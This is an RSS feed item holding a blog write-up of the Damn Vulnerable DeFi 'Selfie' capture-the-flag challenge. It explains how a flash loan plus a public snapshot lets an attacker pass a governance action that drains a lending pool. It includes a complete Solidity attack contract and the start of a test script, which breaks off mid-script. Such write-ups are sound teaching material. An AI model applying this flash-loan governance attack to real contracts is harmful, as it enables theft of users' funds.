<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Web3 Security]]></title><description><![CDATA[Explore the depths of Solidity challenges and Capture The Flag (CTF) competitions through detailed analyses and expert insights. Enhance your hacking skills and improve the security in the web3 space.]]></description><link>https://blog.pedrojok.com</link><generator>RSS for Node</generator><lastBuildDate>Sun, 11 Oct 2026 15:08:44 GMT</lastBuildDate><atom:link href="https://blog.pedrojok.com/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Damn Vulnerable DeFi | 6 - Selfie]]></title><description><![CDATA[Goals
In the Selfie challenge, we simply have to drain all the 1.5 million DVT tokens from the new lending pool. Cool!

See the contracts
The Contracts
Note: I have removed some non-relevant parts for clarity.
// SPDX-License-Identifier: MIT
pragma s...]]></description><link>https://blog.pedrojok.com/damn-vulnerable-defi-6-selfie</link><guid isPermaLink="true">https://blog.pedrojok.com/damn-vulnerable-defi-6-selfie</guid><category><![CDATA[ethereum smart contracts]]></category><category><![CDATA[damn vulnerable defi]]></category><category><![CDATA[ethereum security]]></category><category><![CDATA[Solidity]]></category><category><![CDATA[Security]]></category><category><![CDATA[CTF]]></category><category><![CDATA[Web3 Security]]></category><dc:creator><![CDATA[Pierre E.]]></dc:creator><pubDate>Tue, 16 Apr 2024 17:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1714874829750/0988c3e3-061e-422e-9bda-e8a59f0a5933.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-goals">Goals</h2>
<p>In the <strong>Selfie</strong> challenge, we simply have to drain all the 1.5 million DVT tokens from the new lending pool. Cool!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1714874942940/e6605efa-71d0-4d9a-af59-77acc225d269.png" alt /></p>
<p><a target="_blank" href="https://github.com/tinchoabbate/damn-vulnerable-defi/tree/v3.0.0/contracts/the-rewarder">See the contracts</a></p>
<h2 id="heading-the-contracts">The Contracts</h2>
<p>Note: I have removed some non-relevant parts for clarity.</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.0;</span>

<span class="hljs-keyword">import</span> <span class="hljs-string">"@openzeppelin/contracts/security/ReentrancyGuard.sol"</span>;
<span class="hljs-keyword">import</span> <span class="hljs-string">"@openzeppelin/contracts/token/ERC20/extensions/ERC20Snapshot.sol"</span>;
<span class="hljs-keyword">import</span> <span class="hljs-string">"@openzeppelin/contracts/interfaces/IERC3156FlashLender.sol"</span>;
<span class="hljs-keyword">import</span> <span class="hljs-string">"@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol"</span>;
<span class="hljs-keyword">import</span> <span class="hljs-string">"./SimpleGovernance.sol"</span>;

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">SelfiePool</span> <span class="hljs-keyword">is</span> <span class="hljs-title">ReentrancyGuard</span>, <span class="hljs-title">IERC3156FlashLender</span> </span>{
    ERC20Snapshot <span class="hljs-keyword">public</span> <span class="hljs-keyword">immutable</span> token;
    SimpleGovernance <span class="hljs-keyword">public</span> <span class="hljs-keyword">immutable</span> governance;
    <span class="hljs-keyword">bytes32</span> <span class="hljs-keyword">private</span> <span class="hljs-keyword">constant</span> CALLBACK_SUCCESS <span class="hljs-operator">=</span>
        <span class="hljs-built_in">keccak256</span>(<span class="hljs-string">"ERC3156FlashBorrower.onFlashLoan"</span>);

    <span class="hljs-function"><span class="hljs-keyword">error</span> <span class="hljs-title">RepayFailed</span>(<span class="hljs-params"></span>)</span>;
    <span class="hljs-function"><span class="hljs-keyword">error</span> <span class="hljs-title">CallerNotGovernance</span>(<span class="hljs-params"></span>)</span>;
    <span class="hljs-function"><span class="hljs-keyword">error</span> <span class="hljs-title">CallbackFailed</span>(<span class="hljs-params"></span>)</span>;

    <span class="hljs-function"><span class="hljs-keyword">modifier</span> <span class="hljs-title">onlyGovernance</span>(<span class="hljs-params"></span>) </span>{
        <span class="hljs-keyword">if</span> (<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span> <span class="hljs-operator">!</span><span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(governance)) <span class="hljs-keyword">revert</span> CallerNotGovernance();
        <span class="hljs-keyword">_</span>;
    }

    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _token, <span class="hljs-keyword">address</span> _governance</span>) </span>{
        token <span class="hljs-operator">=</span> ERC20Snapshot(_token);
        governance <span class="hljs-operator">=</span> SimpleGovernance(_governance);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">maxFlashLoan</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _token</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span></span>) </span>{
        <span class="hljs-keyword">if</span> (<span class="hljs-keyword">address</span>(token) <span class="hljs-operator">=</span><span class="hljs-operator">=</span> _token) <span class="hljs-keyword">return</span> token.balanceOf(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>));
        <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">flashLoan</span>(<span class="hljs-params">
        IERC3156FlashBorrower _receiver,
        <span class="hljs-keyword">address</span> _token,
        <span class="hljs-keyword">uint256</span> _amount,
        <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">calldata</span> _data
    </span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title">nonReentrant</span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) </span>{
        <span class="hljs-keyword">if</span> (_token <span class="hljs-operator">!</span><span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(token)) <span class="hljs-keyword">revert</span> UnsupportedCurrency();

        token.<span class="hljs-built_in">transfer</span>(<span class="hljs-keyword">address</span>(_receiver), _amount);
        <span class="hljs-keyword">if</span> (
            _receiver.onFlashLoan(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, _token, _amount, <span class="hljs-number">0</span>, _data) <span class="hljs-operator">!</span><span class="hljs-operator">=</span>
            CALLBACK_SUCCESS
        ) <span class="hljs-keyword">revert</span> CallbackFailed();

        <span class="hljs-keyword">if</span> (<span class="hljs-operator">!</span>token.transferFrom(<span class="hljs-keyword">address</span>(_receiver), <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>), _amount))
            <span class="hljs-keyword">revert</span> RepayFailed();

        <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">emergencyExit</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> receiver</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title">onlyGovernance</span> </span>{
        <span class="hljs-keyword">uint256</span> amount <span class="hljs-operator">=</span> token.balanceOf(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>));
        token.<span class="hljs-built_in">transfer</span>(receiver, amount);

        <span class="hljs-keyword">emit</span> FundsDrained(receiver, amount);
    }
}
</code></pre>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.0;</span>

<span class="hljs-keyword">import</span> <span class="hljs-string">"../DamnValuableTokenSnapshot.sol"</span>;
<span class="hljs-keyword">import</span> <span class="hljs-string">"./ISimpleGovernance.sol"</span>;

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">SimpleGovernance</span> <span class="hljs-keyword">is</span> <span class="hljs-title">ISimpleGovernance</span> </span>{
    <span class="hljs-keyword">uint256</span> <span class="hljs-keyword">private</span> <span class="hljs-keyword">constant</span> ACTION_DELAY_IN_SECONDS <span class="hljs-operator">=</span> <span class="hljs-number">2</span> <span class="hljs-literal">days</span>;
    DamnValuableTokenSnapshot <span class="hljs-keyword">private</span> _governanceToken;
    <span class="hljs-keyword">uint256</span> <span class="hljs-keyword">private</span> _actionCounter;
    <span class="hljs-keyword">mapping</span>(<span class="hljs-keyword">uint256</span> <span class="hljs-operator">=</span><span class="hljs-operator">&gt;</span> GovernanceAction) <span class="hljs-keyword">private</span> _actions;

    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> governanceToken</span>) </span>{
        _governanceToken <span class="hljs-operator">=</span> DamnValuableTokenSnapshot(governanceToken);
        _actionCounter <span class="hljs-operator">=</span> <span class="hljs-number">1</span>;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">queueAction</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> target, <span class="hljs-keyword">uint128</span> value, <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">calldata</span> data</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span> actionId</span>) </span>{
        <span class="hljs-keyword">if</span> (<span class="hljs-operator">!</span>_hasEnoughVotes(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>))
            <span class="hljs-keyword">revert</span> NotEnoughVotes(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>);

        <span class="hljs-keyword">if</span> (target <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>))
            <span class="hljs-keyword">revert</span> InvalidTarget();

        <span class="hljs-keyword">if</span> (data.<span class="hljs-built_in">length</span> <span class="hljs-operator">&gt;</span> <span class="hljs-number">0</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> target.<span class="hljs-built_in">code</span>.<span class="hljs-built_in">length</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>)
            <span class="hljs-keyword">revert</span> TargetMustHaveCode();

        actionId <span class="hljs-operator">=</span> _actionCounter;

        _actions[actionId] <span class="hljs-operator">=</span> GovernanceAction({
            target: target,
            <span class="hljs-built_in">value</span>: value,
            proposedAt: <span class="hljs-keyword">uint64</span>(<span class="hljs-built_in">block</span>.<span class="hljs-built_in">timestamp</span>),
            executedAt: <span class="hljs-number">0</span>,
            data: data
        });

        <span class="hljs-keyword">unchecked</span> { _actionCounter<span class="hljs-operator">+</span><span class="hljs-operator">+</span>; }

        <span class="hljs-keyword">emit</span> ActionQueued(actionId, <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">executeAction</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> actionId</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bytes</span> <span class="hljs-keyword">memory</span></span>) </span>{
        <span class="hljs-keyword">if</span>(<span class="hljs-operator">!</span>_canBeExecuted(actionId))
            <span class="hljs-keyword">revert</span> CannotExecute(actionId);

        GovernanceAction <span class="hljs-keyword">storage</span> actionToExecute <span class="hljs-operator">=</span> _actions[actionId];
        actionToExecute.executedAt <span class="hljs-operator">=</span> <span class="hljs-keyword">uint64</span>(<span class="hljs-built_in">block</span>.<span class="hljs-built_in">timestamp</span>);

        <span class="hljs-keyword">emit</span> ActionExecuted(actionId, <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>);

        (<span class="hljs-keyword">bool</span> success, <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">memory</span> returndata) <span class="hljs-operator">=</span> actionToExecute.target.<span class="hljs-built_in">call</span>{<span class="hljs-built_in">value</span>: actionToExecute.<span class="hljs-built_in">value</span>}(actionToExecute.data);
        <span class="hljs-keyword">if</span> (<span class="hljs-operator">!</span>success) {
            <span class="hljs-keyword">if</span> (returndata.<span class="hljs-built_in">length</span> <span class="hljs-operator">&gt;</span> <span class="hljs-number">0</span>) {
                <span class="hljs-keyword">assembly</span> {
                    <span class="hljs-keyword">revert</span>(<span class="hljs-built_in">add</span>(<span class="hljs-number">0x20</span>, returndata), <span class="hljs-built_in">mload</span>(returndata))
                }
            } <span class="hljs-keyword">else</span> {
                <span class="hljs-keyword">revert</span> ActionFailed(actionId);
            }
        }

        <span class="hljs-keyword">return</span> returndata;
    }

    <span class="hljs-comment">/**
     * @dev an action can only be executed if:
     * 1) it's never been executed before and
     * 2) enough time has passed since it was first proposed
     */</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_canBeExecuted</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> actionId</span>) <span class="hljs-title"><span class="hljs-keyword">private</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) </span>{
        GovernanceAction <span class="hljs-keyword">memory</span> actionToExecute <span class="hljs-operator">=</span> _actions[actionId];

        <span class="hljs-keyword">if</span> (actionToExecute.proposedAt <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>) <span class="hljs-comment">// early exit</span>
            <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>;

        <span class="hljs-keyword">uint64</span> timeDelta;
        <span class="hljs-keyword">unchecked</span> {
            timeDelta <span class="hljs-operator">=</span> <span class="hljs-keyword">uint64</span>(<span class="hljs-built_in">block</span>.<span class="hljs-built_in">timestamp</span>) <span class="hljs-operator">-</span> actionToExecute.proposedAt;
        }

        <span class="hljs-keyword">return</span> actionToExecute.executedAt <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> timeDelta <span class="hljs-operator">&gt;</span><span class="hljs-operator">=</span> ACTION_DELAY_IN_SECONDS;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_hasEnoughVotes</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> who</span>) <span class="hljs-title"><span class="hljs-keyword">private</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) </span>{
        <span class="hljs-keyword">uint256</span> balance <span class="hljs-operator">=</span> _governanceToken.getBalanceAtLastSnapshot(who);
        <span class="hljs-keyword">uint256</span> halfTotalSupply <span class="hljs-operator">=</span> _governanceToken.getTotalSupplyAtLastSnapshot() <span class="hljs-operator">/</span> <span class="hljs-number">2</span>;
        <span class="hljs-keyword">return</span> balance <span class="hljs-operator">&gt;</span> halfTotalSupply;
    }
}
</code></pre>
<ol>
<li><p>The <code>SeliePool</code> is the contract to exploit. It can emit flashloans.</p>
</li>
<li><p>The <code>SimpleGovernance</code> allows to execute some actions on the <code>SelfiePool</code> contract if the proposal passes (has enough votes).</p>
</li>
</ol>
<h2 id="heading-the-hack">The Hack</h2>
<p>When looking at the contracts, something should come to mind pretty fast. A flash loan sounds like a good way to get a lot of votes and approve whatever proposal we want! Let's see if this is possible in this case.</p>
<h3 id="heading-1-the-idea">1. The Idea</h3>
<p>In the <code>SelfiePool</code>, in addition to the <code>flashLoan()</code> function, there is this function that looks especially fishy:</p>
<pre><code class="lang-solidity"> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">emergencyExit</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> receiver</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title">onlyGovernance</span> </span>{
        <span class="hljs-keyword">uint256</span> amount <span class="hljs-operator">=</span> token.balanceOf(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>));
        token.<span class="hljs-built_in">transfer</span>(receiver, amount);

        <span class="hljs-keyword">emit</span> FundsDrained(receiver, amount);
    }
</code></pre>
<p>This seems like a perfect way to drain the contract all at once. With an arbitrary recipient on top of that! Greatm we have a plan. However, you may have noticed the <code>onlyGovernance</code> modifier (it wouldn't be a challenge otherwise).</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">modifier</span> <span class="hljs-title">onlyGovernance</span>(<span class="hljs-params"></span>) </span>{
        <span class="hljs-keyword">if</span> (<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span> <span class="hljs-operator">!</span><span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(governance)) <span class="hljs-keyword">revert</span> CallerNotGovernance();
        <span class="hljs-keyword">_</span>;
    }
</code></pre>
<p>This modifier requires that the <code>msg.sender</code> is the governance contract. In other words, we have to call this function from the governance contract. This leads back to our idea of taking a flashloan to pass a proposal. A proposal that would trigger the <code>emergencyExit()</code> function... with our address for instance.</p>
<h3 id="heading-2-the-execution">2. The execution</h3>
<p>Let's see how we could execute our plan concretely. To queue an action, we must have enough votes. This makes sense.</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">queueAction</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> target, <span class="hljs-keyword">uint128</span> value, <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">calldata</span> data</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span> actionId</span>) </span>{
        <span class="hljs-keyword">if</span> (<span class="hljs-operator">!</span>_hasEnoughVotes(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>))
            <span class="hljs-keyword">revert</span> NotEnoughVotes(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>);
        ...
    }
</code></pre>
<p>So how are the votes calculated? Let's check the private function to see if we can manipulate the votes.</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_hasEnoughVotes</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> who</span>) <span class="hljs-title"><span class="hljs-keyword">private</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) </span>{
        <span class="hljs-keyword">uint256</span> balance <span class="hljs-operator">=</span> _governanceToken.getBalanceAtLastSnapshot(who);
        <span class="hljs-keyword">uint256</span> halfTotalSupply <span class="hljs-operator">=</span> _governanceToken.getTotalSupplyAtLastSnapshot() <span class="hljs-operator">/</span> <span class="hljs-number">2</span>;
        <span class="hljs-keyword">return</span> balance <span class="hljs-operator">&gt;</span> halfTotalSupply;
    }
</code></pre>
<p>To have enough votes, we need to have more than half the supply of tokens. Basically, the votes are calculated based on your token's balance as follows:</p>
<ul>
<li>1 token == 1 vote.</li>
</ul>
<p>So a flashloan is indeed a perfect way to get the votes required and queue a proposal! We should have more than enough votes to pass this requirement if we borrow the <code>maxFlashLoan()</code> from the <code>SelfiePool</code>.</p>
<p>Let's see the rest of the function to queue an action:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">queueAction</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> target, <span class="hljs-keyword">uint128</span> value, <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">calldata</span> data</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span> actionId</span>) </span>{
        <span class="hljs-comment">//...</span>
        <span class="hljs-comment">// OK - We won't call this contract</span>
        <span class="hljs-keyword">if</span> (target <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>))
            <span class="hljs-keyword">revert</span> InvalidTarget();

        <span class="hljs-comment">// OK - If we pass data, we must call a contract (SelfiePool)</span>
        <span class="hljs-keyword">if</span> (data.<span class="hljs-built_in">length</span> <span class="hljs-operator">&gt;</span> <span class="hljs-number">0</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> target.<span class="hljs-built_in">code</span>.<span class="hljs-built_in">length</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>)
            <span class="hljs-keyword">revert</span> TargetMustHaveCode();

        <span class="hljs-comment">// OK - We are good to go :)</span>
        actionId <span class="hljs-operator">=</span> _actionCounter;

        _actions[actionId] <span class="hljs-operator">=</span> GovernanceAction({
            target: target,
            <span class="hljs-built_in">value</span>: value,
            proposedAt: <span class="hljs-keyword">uint64</span>(<span class="hljs-built_in">block</span>.<span class="hljs-built_in">timestamp</span>),
            executedAt: <span class="hljs-number">0</span>,
            data: data
        });

        <span class="hljs-keyword">unchecked</span> { _actionCounter<span class="hljs-operator">+</span><span class="hljs-operator">+</span>; }

        <span class="hljs-keyword">emit</span> ActionQueued(actionId, <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>);
    }
</code></pre>
<p>So, thanks to the flashloan, we will be able to queue an action on the governance contract. When it will be exectuted, it will call the <code>SelfiePool</code> contract, and the <code>msg.sender</code> will be the <code>SimpleGovernance</code>. That will allow us to trigger the <code>emergencyExit()</code> function and beat the level.</p>
<p>There is just one thing we must remember to do before starting to execute our plan: the ERC20 token has a snapshot mechanism. So in order for the <code>_hasEnoughVotes()</code> to pass, we have to trigger a snapshot right after receiving the loan, otherwise this line won't pass:</p>
<pre><code class="lang-solidity"><span class="hljs-keyword">uint256</span> halfTotalSupply <span class="hljs-operator">=</span> _governanceToken.getTotalSupplyAtLastSnapshot() <span class="hljs-operator">/</span> <span class="hljs-number">2</span>;
</code></pre>
<p>Luckily enough, if you check the <code>DamnValuableTokenSnapshot</code> token contract, the <code>snapshot()</code> function is a public function that anyone can trigger.</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">snapshot</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span> lastSnapshotId</span>) </span>{
        lastSnapshotId <span class="hljs-operator">=</span> _snapshot();
        _lastSnapshotId <span class="hljs-operator">=</span> lastSnapshotId;
    }
</code></pre>
<p>So we now have all the pieces we need to solve the <strong>Selfie</strong> level. Let's put them in order.</p>
<h2 id="heading-solution">Solution</h2>
<p>We can implement the contract that will trigger the loan and queue a governance action as follows:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.16;</span>

<span class="hljs-keyword">import</span> {<span class="hljs-title">IERC20</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"@openzeppelin/contracts/token/ERC20/IERC20.sol"</span>;
<span class="hljs-keyword">import</span> {<span class="hljs-title">ISimpleGovernance</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"../selfie/ISimpleGovernance.sol"</span>;

<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">ISelfiePool</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">flashLoan</span>(<span class="hljs-params">
        <span class="hljs-keyword">address</span> _receiver,
        <span class="hljs-keyword">address</span> _token,
        <span class="hljs-keyword">uint256</span> _amount,
        <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">calldata</span> _data
    </span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>)</span>;

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">emergencyExit</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> receiver</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span></span>;
}

<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">IGovToken</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">snapshot</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span></span>)</span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">balanceOf</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> account</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span></span>)</span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">approve</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> spender, <span class="hljs-keyword">uint256</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>)</span>;
}

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Attack6</span> </span>{
    ISimpleGovernance <span class="hljs-keyword">private</span> <span class="hljs-keyword">immutable</span> simpleGovernance;
    ISelfiePool <span class="hljs-keyword">private</span> <span class="hljs-keyword">immutable</span> selfiePool;
    IGovToken <span class="hljs-keyword">public</span> <span class="hljs-keyword">immutable</span> governanceToken;
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">private</span> <span class="hljs-keyword">immutable</span> player;

    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params">
        <span class="hljs-keyword">address</span> _simpleGovernance,
        <span class="hljs-keyword">address</span> _selfiePool,
        <span class="hljs-keyword">address</span> _governanceToken,
        <span class="hljs-keyword">address</span> _player
    </span>) </span>{
        simpleGovernance <span class="hljs-operator">=</span> ISimpleGovernance(_simpleGovernance);
        selfiePool <span class="hljs-operator">=</span> ISelfiePool(_selfiePool);
        governanceToken <span class="hljs-operator">=</span> IGovToken(_governanceToken);
        player <span class="hljs-operator">=</span> _player;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">attack</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        <span class="hljs-keyword">uint256</span> amount <span class="hljs-operator">=</span> governanceToken.balanceOf(<span class="hljs-keyword">address</span>(selfiePool));
        selfiePool.flashLoan(
            <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>),
            <span class="hljs-keyword">address</span>(governanceToken),
            amount,
            <span class="hljs-string">""</span>
        );
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">onFlashLoan</span>(<span class="hljs-params">
        <span class="hljs-keyword">address</span>,
        <span class="hljs-keyword">address</span>,
        <span class="hljs-keyword">uint256</span> amount,
        <span class="hljs-keyword">uint256</span>,
        <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">calldata</span>
    </span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bytes32</span></span>) </span>{
        governanceToken.snapshot();
        governanceToken.approve(<span class="hljs-keyword">address</span>(selfiePool), amount);

        simpleGovernance.queueAction(
            <span class="hljs-keyword">address</span>(selfiePool),
            <span class="hljs-number">0</span>,
            <span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encodeWithSignature</span>(<span class="hljs-string">"emergencyExit(address)"</span>, player)
        );

        <span class="hljs-keyword">return</span> <span class="hljs-built_in">keccak256</span>(<span class="hljs-string">"ERC3156FlashBorrower.onFlashLoan"</span>);
    }
}
</code></pre>
<p>Here is the flow:</p>
<ul>
<li><p>Request a flashloan of the maximum amount;</p>
</li>
<li><p>In the <code>onFlashLoan()</code> callback function, take a snapshot;</p>
</li>
<li><p>Then, approve the <code>SelfiePool</code> to grab the token so we can repay the loan (the function would revert otherwise);</p>
</li>
<li><p>Queue an action in the governance contract with the <code>emergencyExit(address)</code> as data, and our address as arguments;</p>
</li>
<li><p>Return the expected hash to the <code>SelfiePool</code>;</p>
</li>
</ul>
<p>At this point, we will have queued our malicious actions in the governance and repaid the loan. However, to pass the level, we still have to wait for the delay, and then execute the governance action. We will continue the flow in the <code>selfie.challenge.js</code> test file.</p>
<pre><code class="lang-javascript">it(<span class="hljs-string">"Execution"</span>, <span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params"></span>) </span>{
    <span class="hljs-comment">/** CODE YOUR SOLUTION HERE */</span>

    <span class="hljs-keyword">const</span> Attack6 = <span class="hljs-keyword">await</span> ethers.getContractFactory(<span class="hljs-string">"Attack6"</span>, deployer);
    <span class="hljs-keyword">const</span> attack6 = <span class="hljs-keyword">await</span> Attack6.deploy(
      governance.address,
      pool.address,
      token.address,
      player.address
    );

